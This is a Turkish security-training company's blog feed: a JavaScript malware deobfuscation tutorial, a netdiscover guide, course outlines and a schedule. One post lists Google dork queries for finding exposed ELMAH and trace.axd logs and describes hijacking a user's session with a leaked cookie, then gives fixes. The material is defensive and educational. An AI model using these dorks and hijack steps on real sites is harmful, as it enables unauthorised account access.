Ankara'da sunduğumuz Bilgi Güvenliği danışmanlık, eğitim ve destek hizmetleri için genişleyen ekibimizle birlikte yeni adresimize taşındık. Bilgi Güvenliği ve Linux AKADEMİ eğitimleri artık aşağıda bilgileri yer alan adreste gerçekleştirilecektir.
Ceyhun Atuf Kansu Caddesi Gözde Plaza İş Merkezi Kat:5 No:130/72 BALGAT ÇANKAYA/ANKARA (MHP Genel Merkez Binası ile Yargıtay Binası arası)
Yeni ofisimizden birkaç resim,
Open menu Share
0 0
05/29/14--12:13: Karmaşıklaştırılmış (Obfuscated) Javascript Analizi
Sıklıkla karşılaşılan istismar senaryolarından biri olan HTML dokümanlarında veya PDF dosyalarındaki gömülü Javascipt kodlarını sadece JS bilgisi kullanarak analiz etmek genelde mümkün olmamaktadır. Genelde zararlı JS kodları amaçlarını gizlemek adına obfuscation denilen kodu okunamaz hale getirme yöntemleri uygulanmış olarak bulunur. Bu da kodu tekrar okunabilir hale getirme (deobfuscation) ihtiyacını doğurur.
Yazıda ünlü Blackhole istismar kitinin bir türevini okunabilir hale getirme senaryosu üzerinden JSDetox ve JS-beautify yazılımlarının JS deobfuscation amaçlı kullanımı anlatılmıştır.
Kullanılan Araçlar:
Blackhole Exploit Kit Örneği (e1ab25769040b66e644f0184a541821f19946bcd094bef2bb69762511eeeed9e)
JSDetox
JS-beautify
Obfuscation işlemi uygulanarak okunması zorlaştırılan Javascript kodlarını analiz etmeye yarayan jsdetox uygulaması çalıştırılır. Kurulum aşamalarıyla uğraşmamak için REMnux 5 dağıtımı kullanılabilir. REMnux’te JSDetox’u çalıştırmak için terminalden şu komutlar girilir.
cd /usr/local/jsdetox/
./jsdetox
Beklenen çıktı aşağıdaki gibidir.
[JSDetox] Loading framework ... done.
[JSDetox] Starting webserver (hit Ctrl-C to quit) ...
=> Padrino/0.10.7 has taken the stage development at http://127.0.0.1:3000
[2014-05-27 17:25:46] INFO WEBrick 1.3.1
[2014-05-27 17:25:46] INFO ruby 1.9.2 (2011-07-09) [i686-linux]
[2014-05-27 17:25:46] INFO WEBrick::HTTPServer#start: pid=1668 port=3000
Çıktıda da gözüktüğü üzere tarayıcıdan http://127.0.0.1:3000 adresine bağlanarak JSDetox’un web arayüzüne erişilir.
Eğer analiz edilecek doküman sadece JS kodlarından oluşuyorsa “Code Analysis” sekmesindeki aksi halde “HTML Document” sekmesindeki “Upload” tuşu kullanılarak doküman yüklenir. İçeriği doğrudan textarea alanına yapıştırmak da mümkündür. Örnek dosya HTML dokümanı olduğu için ilgili sekmedeki “Extract Scripts” butonuna basılarak JS kodları dışındaki kodlar ayıklanır. “Analyze” tuşuna basıldığında anlamsız gözüken uzun bir bloğun ardından çalıştırılabilir durumdaki JS kodları görülür.
Selection_001.png
Bu bölümün deobfuscation işlemini yapan bölüm olduğu varsayımı yapılabilir.
Daha sonra sayfanın sol tarafındaki “Execute eval() statements” seçeneği işaretlenip JSDetox’un eval fonksiyonlarını çalıştırması sağlanıp “Execute” tuşuna basılır. Bu sayede kodun çalışma anında yaptığı gibi kendini deobfuscate etmesi sağlanır. Execute sekmesine gelindiğinde birçok kez “eval” fonksiyonunun çağırıldığı görülür. Genelde açma işlemi tamamlandıktan sonra esas işlevleri gerçekleştirecek olan kod en sondaki “eval” fonksiyonunun parametresi olarak bulunabilir. Bu bölümü analiz etmek için de listeden son “eval() call executed” uyarısının “Show Code” tuşuna tıklanıp “Send to Analyze” denilir. Bu sayede ilgili kod analiz ekranında görülür.
Selection_004.png
“Reformat” butonuna basılarak kod daha okunaklı hale getirilir. Örnekte bu işlem hata ile sonuçlanacaktır, bir sebepten JSDetox bu kodu parse edememektedir. Bu durumda mevcut diğer araçlarla devam etmek en pratik seçenek olacaktır.
Son olarak kısmen deobfuscate edilmiş edilmiş kod bir dosyaya kaydedilir (tmp.js) ve JS-beautify uygulaması ile tam okunaklı hale getirilir. Bunun için terminalden
js-beautify tmp.js > deobfuscated.js
komutu girilir.
Artık deobfuscated.js dosyası bir metin düzenleyici ile açılarak içeriği rahatlıkla analiz edilebilir. Bu analizden istismar edilmeye çalışılan zafiyetler, kullanılan shellcode, sisteme yüklenmek istenen zararlı ve benzeri detaylar elde edilebilir.
Selection_005.png
Open menu Share
0 0
05/30/14--10:11: Yerel Ağda IP-MAC Adreslerinin Bulunması- Netdiscover
Yerel ağların oluşturulmasında en çok kullanılan ağ arayüzü Ethernet' tir. Ethernet arayüzleri birbirlerine veri paketi göndermeleri için, kendilerine üretim sırasında verilen fiziksel adresleri kullanırlar; 48 bit olan bu arayüzlerin ilk 24 biti üreticiyi belirtir ve 48 bitlik blok eşsizdir. TCP/IP protokolünün kullanıldığı ağlarda 32 bit olan IP adresi kullanılır. Fiziksel katmanda Ethernet arayüzü kullanılıyorsa, IP adresten fiziksel adrese dönüşüm işinin yapılması gerekir. Bunun için sistemlerde Adres Çözümleme Protokolü olan ARP( Address Resolution Protocol ) ve ARP tabloları kullanılır.
Netdiscover Aracı ile Yerel Ağda IP-MAC Adreslerinin Bulunması
Netdiscover aracı yerel ağda router veya switch gibi davranan basit bir araçtır. Yerel ağda gönderdiği ARP paketleri ile MAC adreslerine karşılık gelen IP adreslerini bulmaya çalışır.Bu araç sayesinde yerel ağda MITM veya başka bir atak gerçekleştirmeden önce hedef sistemlerin IP adresleri kolayca elde edilebilir.
Netdiscover aracını kullanmadan önce Wireshark ile normal bir yerel ağ trafiği incelendiğinde aşağıdaki gibi bir durum görünmektedir.
Burada normal bir internet trafiğine ait paketler ve ilgili protokoller açıkça görülebilir. Biz daha çok yerel ağdaki durumla ilgilendiğimiz için burada protokol filtrelemesi yaparak sadece ARP paketlerini aşağıdaki gibi görebiliriz.
Burada basit bir ARP trafiği görünmektedir ve iletişime geçen IP-MAC adres eşlemeleri kolayca bulunabilir.Daha yoğun bir trafiğin olduğu ortamlarda ise wireshark ile trafik analizi yapmak çok zahmetli ve vakit alıcı olacaktır. Bunun için yerel ağdaki herkesin IP ve MAC adresini öğrenmek için
Netdiscover aracını kullanmanız size zaman kazandıracaktır ve daha anlaşılır sonuçlar üretecektir.
Kali Linux işletim sisteminde Netdiscover aracını çalıştırmak için Kali Linux Menu–> Information Gathering –> Live Host Identification –>Netdiscover menüleri takip edilerek araç çalıştırılabilir.
Yada kısaca terminal üzerinden netdiscover yazarak da aracı çalıştırabilirsiniz. Araç çok karmaşık bir yapıya sahip değildir. Help menüsünden parametrelerine bakabilir ve kolaylıkla kullanabilirsiniz.
Aracı temel olarak kullanmak için -r parametresi ile taranmak istenen alt ağı, -i parametresi ile de dinlenecek olan ağ arayüzünü vermeniz yeterlidir.
Aşağıdaki örnekte 192.168.0.0/24 altağına ait bir tarama yapılmıştır. Yapılan tarama sonucunda ise yerel ağdaki açık makineler listelenmiştir.Çalıştırılan komut;
#netdiscover -i eth0 -r 192.168.0.0/24
Referanslar :
http://ultimatepeter.com/using-netdiscover-arp-to-find-lan-ip-and-mac-addresses/
Open menu Share
0 0
06/01/14--11:52: Uygulamalı Ağ Güvenliği ve TCP/IP Eğitimi Lab Kitabı [yeni]
Bilgi Güvenliği AKADEMİSİ olarak verdiğimiz eğitimlerde uygulamaya özel önem veriyoruz. Güvenlik gibi karmaşık bir konu detaylı uygulamalar gerçekleştirmeden anlatıldığında konuya yabancı olan katılımcılar tarafından tam olarak anlaşılamamaktadır. Eğitim notlarına destek olmak amacıyla başlattığımız lab çalışmalarını içeren kitapçık çalışmalarını uzun süre önce başlamıştık.
Bu konuda ilk kitap çalışmamız olan Beyaz Şapkalı Hacker eğitimi Lab kitapçığını 2013 yılı başlarında öğrencilerimizin kullanımına sunmuştuk (Detaylarına http://blog.bga.com.tr/2013/01/beyaz-sapkal-hacker-egitimi-lab-kitapcg.html adresinden erişilebilir)
Yeni dönem eğitimlerinde Uygulamalı Ağ Güvenliği Lab Kitabı Çalışması, İleri Seviye Ağ Güvenliği Eğitimi Lab Kitabı, Sertifikalı Ağ Güvenliği Eğitimi Lab Kitabı, Malware Analizi Eğitimi Lab Kitabı, Network Pentest Eğitimi Lab Kitabı, DDoS Eğitimi Lab Kitabı hazırlıklarımız hızlı bir şekilde devam etmektedir. Bunlar arasında içeriğini tamamladığımız Uygulamalı Ağ Güvenliği Eğitimi Lab Kitabını bir ay içerisinde katılımcılarımızla paylaşıyor olacağız.
BGA ekibinden Cihat IŞIK ve Huzeyfe ÖNAL tarafından hazırlanan ~350 sayfalık aşağıdaki içeriğe sahip Uygulamalı Ağ Güvenliği ve TCP/IP Eğitimi Lab Kitabı'nı ücretsiz edinmek için daha önce BGA tarafından açılmış Uygulamalı Ağ Güvenliği eğitimine katılmış olmanız yeterlidir.
Kitapçığı edinmek için [email protected] adresine kitabı istediğinize dair bir e-posta göndererek BGA İstanbul ve Ankara ofislerinden 5 Temmuz 2014 itibariyle teslim alabilirsiniz. Kargo ile gönderim yapılmamaktadır.
Uygulamalı Ağ Güvenliği Eğitimi Lab. Kitabı Konu Başlıkları
İşletim Sistemlerinde Dinamik ve Statik ARP Kayıtları
Yerel Ağlarda Sahte ARP Paketleri Üreterek DoS Gerçekleştirme
MAC Flood Saldırısı Gerçekleştirerek Switch CAM Tablosu Doldurma
Cain&Abel Kullanarak ARP Cache Poisoning Saldırısı
Snort, Arpwatch ve Xarp kullanarak arp spoof ve MITM saldırılarını engelleme
IP Spoofing Örnekleri
Sahte IPv4 TCP Paketi Üretimi
Sahte UDP Paketi Üretimi
IP Adresinin Sahibinin Bulunması
Parçalanmış IP Paketleri Kullanarak Port Tarama
Parçalanmış IP Paketleri Kullanarak IDS Atlatma
Parçalanmış IP Paketleri Kullanarak L7 Firewall Atlatma
TCP ve UDP Paketleri Kullanarak Traceroute Çalışması
IP Saklama Amaçlı TOR ve Proxy Kullanımı
İsteğe Göre ICMP Paketi Üretimi
ICMP Tunelling (ICMP Üzerinden TCP/HTTP Paketleri Geçirme)
ICMP Smurf Denial of Service Saldırısı Gerçekleştirme
ICMP Redirect ile L3 Seviyesinde Araya Girme Saldırısı
ICMP Üzerinden Uzaktan Telnet/SSH Benzeri Sistem Yönetimi
ICMP Flood DDoS Saldırısı Gerçekleştirme
TCP Üzerinden DoS/DDoS Saldırıları Gerçekleştirme
Gerçek/sahte IP Adresleri Kullanarak SYN Flood Saldırısı Gerçekleştirme
Gerçek/sahte IP Adresleri Kullanarak FIN Flood Saldırısı Gerçekleştirme
TCP Connection Flood Saldırısı Gerçekleştirme
TCP Protokolü Kullanarak Port Tarama Yöntem ve Araçları
UDP Protokolü Kullanarak Port Tarama Çeşitleri
İsteğe Göre TCP Bayraklı Paket Üretimi
TCP ve UDP arasındaki temel farkın gösterilmesi (Netcat kullanarak)
SYNCookie ve SYNProxy Kullanarak SYN flood saldırılarını Engelleme
SYNProxy Kullanılan Sistemlere Yönelik Port Tarama
TCP Protokolünde IP Spoofing Kontrolü
Sahte DHCP Sunucu Kullanarak MITM Saldırısı
DHCP Flood DoS Saldırısı
DNS Sorgulamaları için Dig Kullanımı
DNS Üzerinden Trace Çalışmaları
512 Byte Üzeri DNS Paketlerinin TCP’e Çevrilmesi
DNS Sunucu Versiyon Belirleme
DNS Zone Transferi ile Alt Domain Adreslerinin Bulunması
DNS Alt Domain Adreslerini Brute Force Denemeleriyle Bulma
DNS Tunneling - DNS Protokolü Üzerinden TCP/HTTP Paketleri Tünelleme
Metasploit Kullanarak DNS Cache Poisoning Saldırısı
DNS Cache Snooping
Sahte Alan Adları Kullanarak DNS Flood DDoS Saldırısı
Amplified DNS DDoS Saldırısı
Pratik Tcpdump Sniffer Kullanımı
Tshark Kullanarak İleri Seviye Paket Analizi
Paket/Protokol Analizi Amaçlı Wireshark Kullanımı
Wireshark Örnek Paket Analizleri
Ağ Trafiğinden Veri Ayıklama (Network Forensics-1)
Ağ Trafiği İçerisinde Kelime Yakalama
Ngrep Kullanarak Ağ Trafiğinde Tünelleme Yazılımlarını Belirleme
SSL Trafiğinde Paket Analizi
Şifreli Protokollerde Araya Girme
Sertifika Otoritesi Oluşturma
Herkese Açık Ortamlarda Paylaşım Amaçlı Paket Anonimleştirme
Nmap, Unicornscan ve Hping ile Performans Testleri
Paket Analizi, Protokol Analizi Kavramları
Yerel Ağda Kullanılan Protokol Oranlarını Belirleme
Web Sunuculara Yönelik Performans (Gecikme) Ölçümü
Yerel Ağlarda Kullanılmayan IP Adreslerinin Tespiti
Arping Kullanarak L2 Seviyesinde Paket İşlemleri
DNS Protokolunde Sorun Giderme
MiTM Saldırılarını Çift Yönlü Engelleme
Tcpdump Aracınının Saldırı Tespit Amaçlı Kullanımı
Web Sunuculara Yönelik DdoS Saldırıları ve TCP Oturum Detayları
Yerel Aglarda Sniffer Tespit Çalışmaları
Kaydedilmiş Trafiğin Tekrar Oynatılması– Tcpreplay
Web sunuculara yönelik performans/DoS testleri
Medusa – Ağ Servislerine Yönelik Kaba Kuvvet Parola Test Aracı
Birden Fazla Alan Adı Için Tek Sertifika Kullanımı
NTP Servisi Kullanarak Gerçekleştirilen Amplification DDoS Saldırıları
Sızma Testlerinde ICMP Üzerinden Shell Alma
Snort Kullanarak Zararlı Yazılım Tespiti
Zararlı Yazılım Trafiğinin Sahte Servislerle Yönetimi
Ağ Tabanlı Saldırılara Karşı Aktif Defans
Zarp Kullanarak TCP/IP Protokol Zafiyetlerinin İstismarı
Port Taramalarında Ağ Tabanlı Atak Önleme Sistemlerini Şaşırtma
DoS/DDoS Testlerinde Dikkat Edilmesi Gereken Hususlar
DDoS Forensics:DDoS Saldırılarında Sahte IP Kullanımı Belirleme
Nping Kullanarak TCP Connection Flood DoS/DDoS Testleri
Intrusion Prevention System Stateful Signature Inspection Testleri
Hping Kullanarak URPF Korumalı Ağlarda IP Spoofing
Günümüz Internet Dünyasında IP Spoofing
DDOS Engellemede DFAS Yöntemi
SSH Tünel Üzerinden Port Tarama
Tek Port Üzerinden HTTPS, SSH, OpenVPN Servislerinin Hizmet Vermesi
Open menu Share
0 0
06/08/14--11:25: Web Uygulama Güvenlik Testleri Eğitimi / 20-22 Haziran 2014
Eğitim Açıklaması
Web Application Pentest(Web Uygulamaları Güvenlik Denetimi Eğitimi) günümüz bilişim güvenliğinin en zayıf halkalarından olan web uygulamalarının güvenliğinin hacker bakış açısıyla test edilmesini amaçlayan uygulamalı eğitimdir. Eğitim boyunca katılımcılar farklı platform ve programlama dilleri kullanılarak geliştirilmiş çeşitli yazılımlardaki güvenlik zafiyetlerinin nasıl bulunacağını ve istismar edileceği konusunda pratik yapma fırsatı bulacaktır.
Eğitim tamamen uygulamalı bir şekilde işlenmektedir ve eğitim süresince katılımcılara açık kaynak kodlu ve ticari çeşitli web güvenlik test araçlarını kullanma imkanı sunulmaktadır.
Eğitim Tarihleri
20-22 Haziran 2014
Eğitim Ücreti & Kayıt
Eğitim ücreti ve kayıt için [email protected] adresine "2014-WPT-2 Egitimi Ucret Bilgisi/Kayit" konulu e-posta gönderiniz.
Kimler Katılmalı
Bu eğitim, IT güvenlik görevlileri, denetçiler, güvenlik uzmanları, site yöneticileri ve ağ altyapı bütünlüğü konusunda çalışmalar yapan herkes için önemli ölçüde yarar sağlayacaktır.
Ön Gereksinimler
Temel HTML Bilgisi
Eğitim Süresi
3 Gün
Sertifika
Eğitime katılanlara, BGA tarafından katılım sertifikası verilecektir.
Eğitim İçeriği
Bilgi Güvenliğinde Sızma Testleri ve Önemi
Sızma testi çeşitleri
Web Uygulamalarına yönelik sızma testleri
Uygulama güvenliği farkları
Uygulama güvenliği test araçları
Burp, Owasp Zap, Webscarab ...
Web Güvenlik Testlerinde kullanılan Firefox eklentileri
Otomatize Güvenlik Tarama Araçları
Web Güvenlik testleri için lab. ortamları
OWASP BWPA, DVWA
Klasik Bir Network Pentest Senaryosu
Temel Nmap, Nessus, Metasploit Kullanımı
Port Tarama Çeşitleri ve zafiyet tarama
Network pentest, Web pentest kesişim noktaları
Jboss, Apache Tomcat gibi uygulamaların zafiyetleri
JBOSS JMX-Console yetkilendirme atlatma zafiyeti istismarı
Tomcat kullanılan sistemleri ele geçirme
Web Uygulama Güvenlik Testlerinde WAF/IPS Atlatma Teknikleri
Uygulama güvenlik zafiyetleri karşısında WAF ve IPS
Web uygulama testlerinde encoding yöntemleri ve kullanım alanları
Encoding teknikleri ve çeşitleri
URL ve HTML Encoding Kullanarak IPS Şaşırtma
HPP(HTTP Parametre Pollution) kullanarak IPS atlatma
Şifrelenmiş trafik kullanarak IPS atlatma
Web Uygulama Güvenlik Bileşenleri ve Temel HTTP Bilgisi
İstemci
Sunucu
Veritabanı
Uygulama Sunucusu
Network Hattı
Temel HTTP Bilgisi
HTTP Metodları ve İşlevleri
Güvenlik açısından HTTP metodları ve istismarı
HTTP PUT desteği aktif web sunucu istismarı
Web Uygulamalarına Yönelik Keşif Çalışmaları
Arama motoru kullanarak web zafiyeti keşif teknikleri
Google üzerinden web uygulamalarına ait girdi alanlarının belirlenmesi
Google üzerinden hedef sisteme ait web platformu araştırması
Önemli arama kriterleri
Alt alan adı keşif çalışması
Sanal host(virtual host) kullanan sistemleri belirleme
Alt dizin keşif çalışması
Yönetim panellerine ait dosya/dizinlerin belirlenmesi
Dirbuster, Wfuzz araçlarının kullanımı
Hata mesajlarından hassas bilgilerin elde edilmesi
IPS, WAF keşif çalışmaları
OWASP TOP 10 (2013) ve Sızma Testlerinde Kullanımı : XSS(Cross Site Scripting) Zafiyeti Denetim Teknikleri
XSS tanımı, nedenleri
Gerçek hayattan XSS saldırı örnekleri
XSS zafiyeti çeşitleri
-Stored XSS
-Reflected XSS
-Dom XSS
XSS saldırılarında ilerleme
XSS sonucu oturum bilgilerinin elde edilmesi
XSS kullanarak zararlı yazılım bulaştırma senaryorsu
Klasik XSS engelleme yöntelmeri ve atlatma teknikleri
XSS saldırılarında Beef kullanımı
XSS saldırılarında Xss-Proxy ve Xss-tunnel kullanımı
CSRF (Siteler Arası İstek Sahteciliği) Saldırıları
CSRF zafiyeti hakkında temel bilgilendirme
Gerçek hayattan CSRF örnekleri
Gmail, Amazon.com örnekleri
Örnek CSRF saldırı denemeleri
SQL Enjeksiyonu (SQL Injection) Saldırıları
Temel SQL bilgisi ve veritabanı çeşitleri
-Mysql temel bilgilendirme
-MsSql temel bilgilendirme
-Oracle temel bilgilendirme
-Postresql temel bilgilendirme
Sql injection ve gerçek hayattan saldırı örnekleri
SQL Injection çeşitleri
-Blind(kör) Sql enjeksiyon saldırıları
-Error based(hata tabanlı) sql enjeksiyon saldırıları
-Time based(zaman tabanlı) sql enjeksiyon saldırıları
-Diğer sqli çeşitleri
SQLi kullanarak giriş formu aşma/Authentication Bypass
Time Based Blind Sqli Saldırısı belirleme yöntemi
Time Based Blind Sqli kullanarak veri çekme - Mssql/Mysql
Otomatize SQL Injection saldırıları ve saldırı araçları
Sqlmap, Havij, araçlarının kullanımı
Veritabanı özelliklerine göre Sql injection denemeleri
SQL Injection Saldırılarında İlerleme
SQL injection kullanarak işletim sistemi ele geçirme senaryosu
Zararlı Kod Enjeksiyonu Saldırıları (LFI/RFI)
Genel tanımlar ve gerçek hayattan kod enjeksiyonu örnekleri
Dizin gezinimi (Directory Treversal)
Local File Inclusion
Remote File Inclusion
LFI kullanarak sistemi uzaktan yönetme
URL erişimi kısıtlama problemlerine yönelik denetimler
Insecure Direct Object Reference Denetim Teknikleri
IDOR zafiyeti hakkında temel bilgilendirme
Gerçek hayattan örnekler
Insecure Direct Object Reference kullanarak yetki şstismarı
Session-Id ve cookie bilgilerinin istismar edilmesi ile farklı yetkiye sahip haklara geçiş
İstemci Korumaları ve Aşma Denetimleri
İstemci tarafı güvenlik korumalarını aşma - Java Script
İstemci tarafı güvenlik korumalarını aşma - HTML Form
Flash kullanılan sitelerde güvenlik zafiyeti arama
İstemci tarafında değiştirilebilen HTTP başlık bilgileri ve istismar yöntemleri
User-agent değerleri ile mobil uygulamara yönelik testler/atlatma
X-forwarded-for başlık bilgisi kullanarak yetkilendirme istismarı
Gizli form alanlarındaki değerleri kullanarak istismar yöntemi
Komut Enjeksiyonu(Command Injection) Saldırıları
Nedir, nasıl çalışır?
Gerçek hayattan komut enjeksiyonu saldırı örnekleri
Örnek komut enjeksiyonu saldırıları
Komut enjeksiyonu kullanarak hedef sistemi ele geçirme
İhlal Edilmiş Kimlik Doğrulama ve Oturum Yönetimi
Kimlik Doğrulama Denetimi ve Saldırıları
Kimlik doğrulama çeşitleri
Form tabanlı kimlik doğrulama
Kimlik doğrulama yöntemlerine yönelik parola bulma denemeleri
Captcha kullanılan sistemlere yönelik güvenlik testleri
Session fixation saldırısı ve etkileri
HTTP Bağlantı Güvenliğine Yönelik Denetimler
SSL/TLS Kavramları
TLS çalışma yapısı ve temel güvenlik zafiyetleri
Sertifika otoriresi, PKI kavramları ve kullanım alanları
SSL konusunda MITM örnekleri
SSLStrip kullanarak SSL bağlantılarında araya girme
HTTPS bağlantılard oturum bilgisi/çerezlerin açık olarak elde edilmesi
Sidejacking, surfjacking saldırıları ve önlemleri
Sızma Testlerinde Web Tabanlı Arka Kapı (Backdoor) Kullanımı
Backdoor, shell kavramları ve farkları
Metasploit kullanarak platforma özel web tabanlı arka kapı oluşturma
PHP Shell Oluşturma
JSP Shell Oluşturma
ASP Shell Oluşturma
Antivirüsler tarafından tanınmayacak web shell oluşturma
WeBaCoo kullanarak tanınmaz web shell oluşturma örneği
Antivirüs atlatma amaçlı shell (Laudanum) kullanımı
Web ve Uygulamalara Yönelik Dos/DDoS Saldırıları
Genel DoS/DDoS saldırıları ve gerçek hayattan örnekler
Web uygulamalarına yönelik DoS/DDoS saldırıları
HTTP GET Flood DoS/DDoS saldırısı gerçekleştirme
HTTP Slowloris DoS saldırısı gerçekleştirme
OWASP HTTP DoS aracı kullanarak web stres testleri
SSL kullanarak DoS gerçekleştirme
THC SSL DoS yazılımı kullanarak ssl tabanlı dos saldırı örneği
Açık Kaynak Kod ve Ticari Web Güvenliği Tarama Yazılımları
Nikto kullanarak statik web güvenlik testleri
W3af kullanarak dinamik web güvenlik testleri
Netsparker kullanarak dinamik web güvenlik testleri
Owasp ZAP, Burp Proxy kullanımı
Open menu Share
0 0
06/08/14--11:34: Asp.Net Gelişmiş Hata Ayıklama Yazılımları ve Güvenlik Zafiyetleri
ASP.NET platformu üzerinde yazılan web uygulamalarında elmah, trace gibi hata ayıklama,loglama araçları vardır. Bu araçlar uygulama geliştiricinin veya site yöneticisinin, kullanıcıların karşılaştığı hata sayfaları ile ilgili detaylı bilgiler almasını sağlar. Bu uygulamalar doğru yapılandırılmadığında tuttukları bilgiler( IP, cookie, kullanıcı adı, yerel dizin hatta bazen parola,vb.) herkes tarafından görülebilir. Doğru yapılandırılmayan siteler ayrıca Google tarafındanda önbelleğe alınmış olabilir.
Böyle siteler ELMAH için,
inurl:elmah.axd SqlException
inurl:elmah.axd select where from
inurl:elmah.axd ASPXAUTH
Trace.axd için;
inurl:”trace.axd” ext:axd “Application Trace”
Google arama parametreleriyle tespit edilebilir.
Ne yapılabilir?
IP, kullanıcı adı , yerel dizin,vb bilgiler keşif aşamasında hackerların elini güçlendirecek, saldırının ileriki aşamalarında kullanabilecek öneme sahiptir.
Cookie bilgisi ise yetki yükseltmek için kullanılabilir. Mesela siteye giriş yapmış bir yetkili kullanıcı site üzerinde bir hatayla karşılaştığında bu loglanacaktır. Loglanan bilgiler arasında cookie bilgiside varsa Firefox ve Cookies Manager kullanılarak (yada herhangi bir tarayıcı ve cookie yöneticisi kullanılabilir.) o kullanıcı haklarıyla siteye erişim sağlanabilir.
Nasıl?
Örnek bir Trace.axd sayfası aşağıdaki gibidir. Session Id değeri, o an için aktif olan bir oturum bilgisini tutmaktadır. Bu değer kopyalanır.
Herhangi bir cookie düzenleme aracıyla bize ait ASP.NET_SessinId bu değerle değiştirilir.
Sayfa yenilendiğinde sisteme o SessionId sahip kullanıcı haklarıyla erişim sağlanır.
ELMAH tarafından loglanmış, cookie içermeyen ancak bilgi ifşası olan örnek bir sayfa aşağıdaki gibidir.
Nasıl Önlem Alınabilir?
ELMAH varsayılan olarak uzaktan erişime kapalıdır. Daha sonra uygulama geliştirici tarafından uzaktan erişime açılabilir. Eğer gerekli değilse bu erişimin kapatılması gerekir ya da görüntülemek için bir yetkilendirme(authorization) formu koyulmalıdır. Bu işlemin nasıl yapılacağı ELMAH geliştiricisi tarafından şu bağlantı 'da anlatılmıştır.
Trace.axd'de varsayılan olarak uzaktan erişime kapalıdır. Uzaktan erişim ve yetkilendirme için ELMAH kadar esneklik sunmasada güvenli yapılandırma için şu bağlantı takip edilebilir.
Open menu Share
0 0
06/08/14--11:38: Bilgi Güvenliği AKADEMİSİ Haziran-Aralık 2014 Eğitim Takvimi
Yılın ikinci yarısı açmayı planladığımız eğitimlerin listesi ve takvimi belli oldu. Güncel eğitim takvimine http://www.bga.com.tr/egitim-takvimi.html adresinden erişim sağlanabilir.
HAZİRAN
Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl
2-6 Haziran 2014 CISSP Sertifikasyon Eğitimi Tıklayınız DOLU 5 Gün İstanbulBaşvur
2-6 Haziran 2014 Sertifikalı/Lisanslı Pentest Uzmanı Eğitimi Tıklayınız 5 GünAnkara Başvur
3-5 Haziran 2014 Web Uygulama Güvenlik Testleri Eğitimi Tıklayınız DOLU 3 GünAnkara Başvur
9-11 Haziran 2014 Kurumsal Ağlarda Malware Analizi Eğitimi Tıklayınız 3 GünAnkara Başvur
9-13 Haziran 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
16-20 Haziran 2014 CISSP Sertifikası Eğitimi Tıklayınız 5 Gün Ankara Başvur
17-19 Haziran 2014 BDDK Kapsamlı Sızma Testi Eğitimi (Banka özel) Tıklayınız DOLU 3 Günİstanbul Başvur
20-22 Haziran 2014 Web Uygulama Güvenlik Testi Eğitimi Tıklayınız 3 Günİstanbul Başvur
23-24 Haziran 2014 Certificed Incident Handler Eğitimi Tıklayınız 2 Günİstanbul Başvur
23-27 Haziran 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün AnkaraBaşvur
23-27 Haziran 2014 Sertifikalı/Lisanslı Pentest Uzmanı Eğitimi Tıklayınız 5 Günİstanbul Başvur
AĞUSTOS
Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl
16-17-23-24 Ağustos 2014 Bash Scripting Programlama Eğitimi Tıklayınız 4 Günİstanbul Başvur
25-29 Ağustos 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
EYLÜL
Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl
1-3 Eylül 2014 Uygulamalı Ağ Güvenliği EğitimiTıklayınız 3 Gün İstanbulBaşvur
3-5 Eylül 2014 Ağ ve Güvenlik Yöneticileri için Linux Eğitimi Tıklayınız 3 GünAnkara Başvur
4-6 Eylül 2014 İleri Seviye Ağ Güvenliği Eğitimi Tıklayınız 3 Gün İstanbulBaşvur
1-5 Eylül 2014 Sertifikalı Ağ Güvenliği Uzmanı Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
8-10 Eylül 2014 PfSense Güvenlik Duvarı EğitimiTıklayınız 3 Gün İstanbulBaşvur
12-14 Eylül 2014 Kurumsal Ağlarda Malware(Zararlı Yazılım) Analizi Eğitimi Tıklayınız3 Gün İstanbul Başvur
15-19 Eylül 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün AnkaraBaşvur
18-20 Eylül 2014 Ağ ve Güvenlik Yöneticileri için Linux Eğitimi Tıklayınız 3 Günİstanbul Başvur
22-26 Eylül 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
22-24 Eylül 2014 ISO 27001 Bilgi Güvenliği Yönetimi Eğitimi(Yeni İçerik İle Birlikte - 2013)Tıklayınız 3 Gün Ankara Başvur
EKİM
Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl
1-3 Ekim 2014 Uygulamalı Ağ Güvenliği EğitimiTıklayınız 3 Gün Ankara Başvur
1-3 Ekim 2014 Saldırı Tespit ve Engelleme Sistemi - Snort Eğitimi Tıklayınız 3 Günİstanbul Başvur
13-15 Ekim 2014 İleri Seviye Ağ Güvenliği Eğitimi Tıklayınız 3 Gün AnkaraBaşvur
16-18 Ekim 2014 Advanced Penetration Testing (CAST 611) Tıklayınız 3 Günİstanbul Başvur
20-24 Ekim 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
25-26 Ekim 2014 Mobil Uygulama Güvenlik Denetimi Eğitimi Tıklayınız 2 Gün- Başvur
27-31 Ekim 2014 CISSP Sertifikası Hazırlık Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
KASIM
Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl
3-5 Kasım 2014 Kurumsal Ağlarda Malware Analizi Eğitimi Tıklayınız 3 GünAnkara Başvur
6-8 Kasım 2014 Advanced Penetration Testing (CAST 611) Tıklayınız 3 GünAnkara Başvur
17-21 Kasım 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün AnkaraBaşvur
24-28 Kasım 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
24-28 Kasım 2014 CISSP Sertifikası Hazırlık Eğitimi Tıklayınız 5 Gün AnkaraBaşvur
- Web Uygulama Güvenlik Testleri Eğitimi Tıklayınız 3 Gün AnkaraBaşvur
- Web Uygulama Güvenlik Testleri Eğitimi Tıklayınız 3 Gün İstanbulBaşvur
ARALIK
Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl
